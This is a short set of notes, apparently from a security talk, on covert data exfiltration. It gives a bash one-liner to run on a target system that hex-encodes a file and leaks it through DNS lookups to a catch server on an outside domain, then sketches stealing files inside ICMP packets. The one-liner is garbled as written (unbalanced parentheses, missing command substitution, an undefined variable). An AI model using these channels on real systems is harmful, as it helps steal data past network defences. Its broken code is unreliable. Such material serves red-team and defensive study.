Run dns_catch.py on your DNS server.
On target system execute via bash:
file="secretz.tgz"; key="moo"; domain="sensepost.com" i=1; md=$(cat xxd -p $file |wc -l
)); for h in cat $file | xxd -p
; do host $h.0.$i.$len.$key.$domain; i=$(($i+1));done; host $md.1.$i.$len.$key.$domain
Read n bytes of file Convert to hex Create ICMP() packet with destination / source headers Pack ICMP() data section with the hex Drop it onto the wire!
Listen on network interface for icmp packets (with a little signature) Unpack from data and write to file